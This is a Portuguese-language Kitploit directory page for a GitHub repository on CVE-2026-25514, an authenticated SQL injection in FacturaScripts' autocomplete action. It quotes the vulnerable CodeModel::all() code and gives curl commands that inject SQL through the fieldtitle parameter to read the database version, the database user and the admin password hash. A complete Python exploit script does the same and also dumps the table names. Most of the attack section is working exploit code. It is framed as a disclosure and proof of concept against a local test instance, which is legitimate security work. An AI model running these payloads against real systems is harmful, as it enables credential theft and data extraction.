Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-25514 — CVE-2026-25514 - FacturaScripts tem SQL Injection nas Ações de Autocomplete | Kitploit
Ferramentas/GitHubGitHub/lukasz-rybak/cve-2026-25514
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - FacturaScripts tem SQL Injection nas Ações de Autocomplete

Ver Repositório
10há 5 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-25514: FacturaScripts tem Injeção de SQL em Ações de Autocompletar

Visão Geral

CampoDetalhes
ID do CVECVE-2026-25514
GravidadeALTA
ComunicadoVer Comunicado
Descoberto porLukasz Rybak

Produtos Afetados

  • facturascripts/facturascripts (versões: < 2025.81)

Classificação CWE

  • CWE-20: Validação de Entrada Incorreta
  • CWE-89: Neutralização Incorreta de Elementos Especiais usados em um Comando SQL ('Injeção de SQL')
  • CWE-943: Neutralização Incorreta de Elementos Especiais na Lógica de Consulta de Dados

Detalhes

Resumo

O FacturaScripts contém uma vulnerabilidade crítica de injeção de SQL na funcionalidade de autocompletar que permite que atacantes autenticados extraiam dados sensíveis do banco de dados, incluindo credenciais de usuários, definições de configuração e todos os dados comerciais armazenados. A vulnerabilidade existe no método CodeModel::all(), onde parâmetros fornecidos pelo usuário são concatenados diretamente em consultas SQL sem sanitização ou ligação parametrizada.


Detalhes

Vários controladores no FacturaScripts, incluindo CopyModel, ListController e PanelController, implementam uma ação de autocompletar que processa a entrada do usuário através dos métodos CodeModel::search() ou CodeModel::all(). Esses métodos constroem consultas SQL concatenando diretamente parâmetros controlados pelo usuário, sem qualquer validação ou escape.

Localização do Código Vulnerável

Arquivo: /Core/Model/CodeModel.php Método: all() Linhas: 108-109

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

Parâmetros Vulneráveis

Os seguintes parâmetros estão vulneráveis à injeção de SQL:

  1. source → Mapeia para $tableName - Injeção no nome da tabela
  2. fieldcode → Mapeia para $fieldCode - Injeção no nome da coluna
  3. fieldtitle → Mapeia para $fieldDescription - Injeção no nome da coluna (vetor de ataque principal)

Fluxo do Ataque

  1. O atacante autentica-se com credenciais válidas (qualquer função de usuário)
  2. O atacante envia uma requisição POST para /CopyModel com action=autocomplete
  3. Funções/consultas SQL maliciosas são injetadas através do parâmetro fieldtitle
  4. A aplicação executa o SQL injetado e retorna os resultados em formato JSON
  5. O atacante extrai dados sensíveis do banco de dados

Prova de Conceito (PoC)

Pré-requisitos

  • Credenciais de autenticação válidas (admin/admin na instância de teste)
  • Acesso à interface web do FacturaScripts

Exploração Manual Passo a Passo (CLI)

Como o FacturaScripts usa o MultiRequestProtection, um multireqtoken válido é necessário para cada requisição POST.

1. Obter o token inicial e o cookie de sessão: O FacturaScripts redireciona / para /login, então usamos -L para seguir redirecionamentos e -c para salvar o cookie de sessão.

TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. Autenticar (Login): Use o cookie salvo e o token para fazer login.

curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. Extrair a Versão do Banco de Dados: Obtenha um token novo para a próxima requisição e execute a injeção.

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. Extrair Usuário e Nome do Banco de Dados:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. Extrair o Hash da Senha do Administrador:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

Script de Exploração Automatizado

#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")
Baixar ferramenta